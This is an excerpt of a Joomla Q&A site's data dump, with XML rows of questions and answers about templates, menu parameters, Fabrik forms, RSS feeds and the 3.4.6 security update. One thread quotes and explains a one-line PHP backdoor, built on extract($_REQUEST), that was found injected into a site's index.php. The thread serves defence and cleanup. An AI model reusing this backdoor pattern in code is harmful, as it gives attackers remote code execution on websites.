  <row Id="14676" PostTypeId="2" ParentId="14670" CreationDate="2015-12-15T06:47:31.193" Score="0" Body="&lt;p&gt;Some time ago I had the need to do something similar, and the best way to solve&lt;br/&gt; it was doubling in the index code of each position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;your-position&quot; style=&quot;html5&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So if you assign a module to this position, and this position is in&#xA;multiple sections &lt;br/&gt;of the template, will be charged on all.&lt;/li&gt;&#xA;&lt;li&gt;And if you have multiple templates in the same site, with the&#xA;positions and styles&lt;br/&gt; that are defined in both, your module will be&#xA;equally loaded in all.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This increases the loading time of the site, but, of course that depends on how many &lt;br/&gt;duplicates you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Considers the response of @Lance, is another way to achieve multiple module&lt;br/&gt;positions by using &lt;em&gt;{loadposition}&lt;/em&gt;.*&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2015-12-15T06:47:31.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14677" PostTypeId="1" AcceptedAnswerId="14720" CreationDate="2015-12-15T12:07:03.197" Score="1" ViewCount="416" Body="&lt;p&gt;I have frontend views on a custom component.  When I add a menu item for that view, I want a tab with custom paramaters.  The field type will be sql.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have thus far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;        &amp;lt;layout title=&quot;Site Route Link&quot; hidden=&quot;false&quot;&amp;gt;&#xA;                &amp;lt;message&amp;gt;A menu link to a route created in the backend.&amp;lt;/message&amp;gt;&#xA;        &amp;lt;/layout&amp;gt;&#xA;        &amp;lt;fields name=&quot;Route Settings&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;Route Settings&quot;&amp;gt;&#xA;                &amp;lt;field name=&quot;route_id&quot; type=&quot;sql&quot; label=&quot;Select a route&quot; description=&quot;Select a route previously created in the backend.&quot; query=&quot;SELECT id AS value, route_name AS route_id FROM #__cddir_routes where id_type = 1&quot;/&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tab is created in the menu item, but it is empty.  (This is when creating the menu item) Can you perhaps see what I am doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jacques&lt;/p&gt;&#xA;" OwnerUserId="7264" LastActivityDate="2015-12-18T12:55:20.717" Title="Joomla 3 frontend view xml: How do I add a custom field to the menu item's paramaters?" Tags="|menu-item|menu|view|front-end|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14679" PostTypeId="2" ParentId="14646" CreationDate="2015-12-15T17:09:16.830" Score="2" Body="&lt;p&gt;The &lt;strong&gt;renderTranslatableHeaderfunction&lt;/strong&gt; returns a string based on JText (multilanguage purpose).&#xA;If I've understood correctly your question, just add the field name to the function's second parameter and it will give you back the translated label from language file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$label_to_print = ModVeckomatsedelHelper::renderTranslatableHeader($params,&quot;fieldname&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2015-12-15T17:09:16.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14680" PostTypeId="1" CreationDate="2015-12-15T17:12:58.813" Score="4" ViewCount="71" Body="&lt;p&gt;Drupal has many hooks, such as hook_menu and hook_form. What are some functions in Joomla analogous to these?&lt;/p&gt;&#xA;" OwnerUserId="7439" LastActivityDate="2015-12-16T11:38:37.597" Title="What types of functions in Joomla are analogous to Drupal hooks?" Tags="|joomla-3.x|development|module|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14681" PostTypeId="1" CreationDate="2015-12-15T17:40:20.700" Score="4" ViewCount="119" Body="&lt;p&gt;After many months, I've had to come back to a component that was well under way, which I &lt;em&gt;thought&lt;/em&gt; was automatically indexing the data I was saving &lt;em&gt;as&lt;/em&gt;  it was saved.  As I'm re-familiarizing myself with what code was underway, I've found that the automatic indexing isn't happening (anymore).  I cannot, for the life of me, find anywhere that the indexing method is firing, nor can I find anything online that explains how to make that happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the CLI indexer does perform the indexing, so I know that the code works - I just can't figure out what in my component has gone missing (or perhaps was never implemented) that fires it automatically.  I've studied &lt;a href=&quot;https://docs.joomla.org/Creating_a_Smart_Search_plug-in&quot; rel=&quot;noreferrer&quot;&gt;Creating a Smart Search Plugin&lt;/a&gt;, and while it describes the methods and events to use, it doesn't explain or give and example of implementing it in the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scouring the core Joomla code hasn't been much help because of the way all these events and methods are stored/named/inherited and then dynamically constructed to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the model &lt;code&gt;-&amp;gt;save()&lt;/code&gt;, should I be loading/triggering something, or is there something in the model itself that I've forgotten or is missing?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-09-06T02:01:32.263" Title="How does a custom component trigger the SmartSearch indexing?" Tags="|smartsearch|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14682" PostTypeId="1" AcceptedAnswerId="14683" CreationDate="2015-12-15T20:19:34.470" Score="7" ViewCount="288" Body="&lt;p&gt;I've never worked with this version of Joomla but am led to beleive that it is pretty simple to upgrade to 3.4.6 from 3.4.5 - having done a few upgrades on the older versions I am skeptical!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone tried it and if so did you find it simple enough?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be backing up the database and code beforehand of course but want a rough idea of the timescales involved.&lt;/p&gt;&#xA;" OwnerUserId="7437" LastEditorUserId="1629" LastEditDate="2015-12-15T20:30:11.733" LastActivityDate="2015-12-15T23:51:48.760" Title="Joomla 3.4.5 to 3.4.6 Simple?" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14683" PostTypeId="2" ParentId="14682" CreationDate="2015-12-15T20:29:40.310" Score="10" Body="&lt;p&gt;Updating from Joomla 3.4.5 to 3.4.6 is a simple one-click update. Unless you have core hacks (not recommended), the update process is absolutely safe. But please update, because this fixes a critical security issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's from the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html&quot;&gt;Joomla Release News&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's in 3.4.6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Version 3.4.6 is released to address four reported security&#xA;  vulnerabilities and includes security hardening of the user password&#xA;  reset system. Security Issues Fixed&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;High Priority - Core - Remote Code Execution (affecting Joomla 1.5 through 3.4.5)&lt;br&gt;&#xA;  Low Priority - Core - CRSF Hardening (affecting Joomla 3.2.0 through 3.4.5)&lt;br&gt;&#xA;  Low Priority - Core - Directory Traversal (affecting Joomla 3.2.0 through 3.4.5)&lt;br&gt;&#xA;  Low Priority - Core - Directory Traversal (affecting Joomla 3.4.0 through 3.4.5) &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As for the time frame, I estimate 4-5 seconds (once you backed up your site...)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-12-15T20:29:40.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14684" PostTypeId="2" ParentId="14682" CreationDate="2015-12-15T20:30:10.240" Score="3" Body="&lt;p&gt;Yes this is a very simply update which fixes a massive security vulnerability which has been about for years, so if you haven't already updated, I suggest you do so immediately using Joomla's 1 click update feature&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-12-15T23:51:48.760" LastActivityDate="2015-12-15T23:51:48.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14685" PostTypeId="2" ParentId="14642" CreationDate="2015-12-15T21:54:14.860" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Article Manager (now just 'Articles') &gt; Options &gt; Articles (tab) &gt;&#xA;  Show Category&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2015-12-15T21:54:14.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14687" PostTypeId="1" AcceptedAnswerId="14744" CreationDate="2015-12-16T01:05:14.613" Score="2" ViewCount="43" Body="&lt;p&gt;I run Joomla 2.5.28 under Ubuntu 14.04.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used to have a J 1.5 site, but I upgraded it to 2.5 (the process went well). &#xA;Now, when I want to add a new menu item into Main menu, strange thing happens. I get a wrong path (when I hover my mouse pointer on that newly created menu item) and I see a home page and domain.com address in the browser's address box (if I click on the menu item nevertheless). Normally when I hover my mouse on any menu item, it's like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/index.php/mypage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And what I get is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mydomain.com/index.php/Feeds/mypage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That weird &quot;Feeds&quot; thing... That's what I see in the browser's lower left corner (in Mozilla 42.0) where you see the menu item's link. And even when I try to manually enter &quot;mydomain.com/index.php/Feeds/mypage&quot; in the browser, I get a homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="1629" LastEditDate="2015-12-16T02:59:00.693" LastActivityDate="2015-12-22T01:00:55.233" Title="What's wrong with my Joomla installation?" Tags="|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14688" PostTypeId="1" CreationDate="2015-12-16T03:02:55.823" Score="1" ViewCount="1464" Body="&lt;p&gt;I have a Fabrik form that I display on my website using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{fabrik view=form id=33 elements=1 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the result is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qjo2a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qjo2a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can display only one element from this form?&lt;/p&gt;&#xA;" OwnerUserId="7443" LastEditorUserId="1629" LastEditDate="2015-12-16T11:29:53.873" LastActivityDate="2015-12-16T12:22:11.953" Title="Display only one element in Fabrik form" Tags="|joomla-3.x|fabrik|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14690" PostTypeId="1" CreationDate="2015-12-16T08:24:41.467" Score="5" ViewCount="238" Body="&lt;p&gt;We received an e-mail notification from our web site last night telling us that a core Joomla file had been modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon inspection, I found this code in our root/index.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_REQUEST[&quot;mjzM&quot;])) {/*AlbqD*/@extract($_REQUEST);/*EYGfjEzF*/@die($mjzM($NAQGb));}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could someone explain what it is please and what it does?&lt;/p&gt;&#xA;" OwnerUserId="3890" LastEditorUserId="1629" LastEditDate="2015-12-16T13:46:41.760" LastActivityDate="2015-12-20T11:50:34.420" Title="Code Inserted into Site" Tags="|php|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14691" PostTypeId="2" ParentId="14687" CreationDate="2015-12-16T11:02:20.363" Score="2" Body="&lt;p&gt;This seems indeed very strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing - I do not know if you already did it - is the &quot;global checkin&quot; (System-&gt;Global Checkin) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Repair database&quot; (you can find that [at least in Joomla 3.x] under Extensions-&gt;Manage), there is the tab &quot;database&quot; on the left.&#xA;Maybe fixing (upper left corner) will fix your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could still cause your problem, even though the installation was successful.&lt;/p&gt;&#xA;" OwnerUserId="3767" LastEditorUserId="1629" LastEditDate="2015-12-16T13:49:00.797" LastActivityDate="2015-12-16T13:49:00.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14692" PostTypeId="2" ParentId="14680" CreationDate="2015-12-16T11:38:37.597" Score="2" Body="&lt;p&gt;In Drupal, a &quot;hook can be thought of as an event listener in the sense that an event triggers an action&quot; (see &lt;a href=&quot;https://www.drupal.org/node/292&quot; rel=&quot;nofollow&quot;&gt;https://www.drupal.org/node/292&lt;/a&gt;  for a more detailed explanation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla, I think the closest equivalent would be a &quot;plugin&quot;. Plugins are also triggered by events. You can find a list of plugin events at: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-12-16T11:38:37.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14693" PostTypeId="2" ParentId="14690" CreationDate="2015-12-16T11:40:06.243" Score="6" Body="&lt;p&gt;Looking at the code, it doesn't really make sense on it's own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets look at what we currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_REQUEST[&quot;mjzM&quot;]))&#xA;{&#xA;    @extract($_REQUEST);&#xA;    @die($mjzM($NAQGb));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Line 1&lt;/strong&gt; is checking to see if &lt;code&gt;$_REQUEST[&quot;mjzM&quot;]&lt;/code&gt; is set. Now &lt;code&gt;$_REQUEST&lt;/code&gt; should not really be used as it contains the content of &lt;code&gt;$_GET&lt;/code&gt;, &lt;code&gt;$_POST&lt;/code&gt; and &lt;code&gt;$_COOKIE&lt;/code&gt;, so it is possible that a 3rd party extension containing a form has been compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Line 2&lt;/strong&gt; extracts &lt;code&gt;$_REQUEST&lt;/code&gt;, which is an array, but it does it&#xA;   silently using &lt;code&gt;@&lt;/code&gt;, meaning that if there are any errors executing&#xA;   this code, the errors won't display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Line 3&lt;/strong&gt; terminates the execution of the script and dumps the results, again, being done silently. &lt;code&gt;$mjzM&lt;/code&gt; and &lt;code&gt;$NAQGb&lt;/code&gt; are populated from &lt;code&gt;$_REQUEST&lt;/code&gt; and could be populated from the URL easily (as &lt;code&gt;$_REQUEST&lt;/code&gt; contains the data from &lt;code&gt;$_GET&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read a little more on the matter here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html&quot; rel=&quot;nofollow&quot;&gt;https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;What should I do?&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure your Joomla site is updated to the latest version, currently &lt;strong&gt;3.4.6&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download a fresh copy of the exact version of Joomla you're using. Copy and paste the &lt;strong&gt;index.php&lt;/strong&gt; from the downloaded zip to replace yhe one on your site.&lt;/li&gt;&#xA;&lt;li&gt;Ensure &lt;em&gt;all&lt;/em&gt; 3rd party extensions are up to date.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please bare in mind, that this may not be the only malicious code that has been injected into your site, there could be, and most probably is more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Phil Taylor who is a Joomla expert and specialises Joomla security would be the a great person to have your site checked over:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fix.myjoomla.com/&quot; rel=&quot;nofollow&quot;&gt;https://fix.myjoomla.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I'm not affiliated with Phil Taylor in any way. I've recommended him as he is highly recommended in the Joomla community.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-12-20T11:50:34.420" LastActivityDate="2015-12-20T11:50:34.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14694" PostTypeId="2" ParentId="14618" CreationDate="2015-12-16T11:57:18.967" Score="1" Body="&lt;p&gt;From the linked example, it looks like you need to include a script and stylesheet in the head area of the HTML page and a script into the body area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best practice for inserting code into the head area is to use a third party extension such as &lt;a href=&quot;http://extensions.joomla.org/extension/easyscript&quot; rel=&quot;nofollow&quot;&gt;EasyScript&lt;/a&gt; or similar. Your template may also have an option allow you to add custom code into the head area. You could also edit the &lt;code&gt;index.html&lt;/code&gt; file of your template but this is not considered good practice as future template updates would likely overwrite your customisations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The body code can be inserted into an article or Custom HTML module or similar but you may need to use another third party extension such as &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; or similar so that the editor does not strip out the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; lines when you save your content.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-06-24T10:42:50.230" LastActivityDate="2016-06-24T10:42:50.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14695" PostTypeId="2" ParentId="14688" CreationDate="2015-12-16T12:22:11.953" Score="1" Body="&lt;p&gt;I haven't used Fabrik very much, but based on the &lt;a href=&quot;http://fabrikar.com/forums/index.php?wiki/content-plugin/#embedding-forms&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, it looks like the &lt;code&gt;elements=1&lt;/code&gt; parameter only works for lists, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{fabrik view=list id=1 elements=6}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will display the list with ID=1, and only list element with ID=6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to display only one field from your form, you can try one of these options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new form &lt;a href=&quot;http://fabrikar.com/help/tutorials/details/3/2-creating-a-list&quot; rel=&quot;nofollow&quot;&gt;tutorial here&lt;/a&gt;, and add only a single element. Then display this form in your article.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using CSS, you can target the other elements in your form and hide them using &lt;code&gt;display:none&lt;/code&gt;. Without seeing your form I can't tell you what CSS to use, but it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form.fabrikForm .fb_el_demo_form_paginate___name {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(edit &lt;code&gt;.fb_el_demo_form_paginate___name&lt;/code&gt; as needed to fit the CSS class of your field.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to do this for each of the fields you want to hide. Also make sure none of the hidden fields are marked as &lt;em&gt;required&lt;/em&gt;, as this would make your form impossible to submit.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-12-16T12:22:11.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14696" PostTypeId="1" AcceptedAnswerId="14697" CreationDate="2015-12-16T12:47:18.527" Score="6" ViewCount="1041" Body="&lt;p&gt;With the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5633-important-security-announcement-pre-release.html&quot;&gt;recent security announcement&lt;/a&gt; regarding SQL injection, I was wondering what I could do in order to 'review' my current Joomla sites, and ensure none of them have been compromised. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the obvious, upgrading to the latest release and ensuring all 3rd party components and plugins are up to date, and not on the &lt;a href=&quot;https://vel.joomla.org/&quot;&gt;vulnerable extensions list&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I can scan or check my current sites to ensure there is no malicious code 'waiting' to do harm? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past my shared hosting providers have sometimes contacted me informing that they have spotted some malicious code and it should be removed asap. However it would be good if I could conduct a similar review periodically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there are 3rd party components for this? Or is such a review not feasible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions or help appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-10-28T23:09:30.053" Title="Site Vulnerability Check" Tags="|joomla-3.x|component|extensions|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14697" PostTypeId="2" ParentId="14696" CreationDate="2015-12-16T12:56:19.933" Score="5" Body="&lt;p&gt;The best tool I am aware of that can scan your whole web account is the one from Phil Taylor at &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru&lt;/a&gt; (formerly &lt;a href=&quot;https://myjoomla.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://myjoomla.com&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a paid service but you are not locked into a contract and can cancel at any time if you no longer need the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another service provider that I know could do this for you is &lt;a href=&quot;https://sucuri.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sucuri.net&lt;/a&gt; who appear to know their stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are likely other providers that offer the same type of service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any free scanning extensions that can do this for you. Even if there were a free version, I'm not sure I'd trust the results compared to mysites.guru or sucuri.net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not associated with Phil Taylor or Sucuri but am a paid mysites.guru subscriber and am very happy with the service which is constantly being improved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days mysites.guru can also do remote backups, remote extension updates, automatic updates for some extensions (if you are into that sort of thing!) and also includes uptime monitoring etc which are all really useful tools especially if you are managing multiple websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jk7uy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jk7uy.jpg&quot; alt=&quot;mySites.guru&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-10-28T23:09:30.053" LastActivityDate="2019-10-28T23:09:30.053" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="14699" PostTypeId="2" ParentId="13618" CreationDate="2015-12-16T14:32:38.380" Score="2" Body="&lt;p&gt;You set the cookie via JS with name: &lt;code&gt;landingpage&lt;/code&gt; &#xA;BUT you checking in PHP for a cookie name: &lt;code&gt;kent&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just fix that ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Cookie-JS-Plugin works like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cookies.set('name', 'value');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2015-12-16T14:32:38.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14700" PostTypeId="1" AcceptedAnswerId="14717" CreationDate="2015-12-16T14:33:11.413" Score="4" ViewCount="1016" Body="&lt;p&gt;I turned on the 'Show Feed Link' located in the 'Integration' tab of a Menu item which then adds the following in the document head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;link href=&quot;/link?format=feed&amp;amp;amp;type=rss&quot; rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;RSS 2.0&quot; /&amp;gt;&#xA;  &amp;lt;link href=&quot;/link?format=feed&amp;amp;amp;type=atom&quot; rel=&quot;alternate&quot; type=&quot;application/atom+xml&quot; title=&quot;Atom 1.0&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clicking on either takes to either a RSS or ATOM feed which by default shows 5 latest Article. Here is a sample output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;channel&amp;gt;&#xA;    &amp;lt;title&amp;gt;Feed Title&amp;lt;/title&amp;gt;&#xA;    &amp;lt;description&amp;gt;&#xA;        &amp;lt;![CDATA[]]&amp;gt;&#xA;    &amp;lt;/description&amp;gt;&#xA;    &amp;lt;link&amp;gt;http://www.domain.com/link&amp;lt;/link&amp;gt;&#xA;    &amp;lt;lastBuildDate&amp;gt;Wed, 16 Dec 2015 13:49:23 +0000&amp;lt;/lastBuildDate&amp;gt;&#xA;    &amp;lt;generator&amp;gt;Joomla! - Open Source Content Management&amp;lt;/generator&amp;gt;&#xA;    &amp;lt;atom:link rel=&quot;self&quot; type=&quot;application/rss+xml&quot; href=&quot;http://www.domain.com/link?format=feed&amp;amp;amp;type=rss&quot; /&amp;gt;&#xA;    &amp;lt;language&amp;gt;en-gb&amp;lt;/language&amp;gt;&#xA;    &amp;lt;managingEditor&amp;gt;Editor&amp;lt;/managingEditor&amp;gt;&#xA;    &amp;lt;item&amp;gt;&#xA;        &amp;lt;title&amp;gt;Page Title&amp;lt;/title&amp;gt;&#xA;        &amp;lt;link&amp;gt;http://www.domain.com/link/item-1&amp;lt;/link&amp;gt;&#xA;        &amp;lt;guid isPermaLink=&quot;true&quot;&amp;gt;http://www.domain.com/link/item-1&amp;lt;/guid&amp;gt;&#xA;        &amp;lt;description&amp;gt;&#xA;            &amp;lt;![CDATA[HTML Content]]&amp;gt;&amp;lt;/description&amp;gt;&#xA;        &amp;lt;author&amp;gt;Author Name&amp;lt;/author&amp;gt;&#xA;        &amp;lt;category&amp;gt;Category&amp;lt;/category&amp;gt;&#xA;        &amp;lt;pubDate&amp;gt;Thu, 28 May 2015 09:17:02 +0000&amp;lt;/pubDate&amp;gt;&#xA;    &amp;lt;/item&amp;gt;&#xA;&amp;lt;/channel&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to modify what is outputted (remove a few elements) but I can't find any settings in the Global Configuration except for number of Feed Items. Is there a way to do it in the backend configuration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also trying to find out where is the code that generates this. I looked in the plugins directory but could not find anything that may generate the above code when the 'Show Feed Link' is selected in the Menu Item 'Integration' Tab. &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2016-04-16T12:53:41.043" Title="Change the elements displayed on the RSS Feed" Tags="|menu-item|system-plugin|rss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
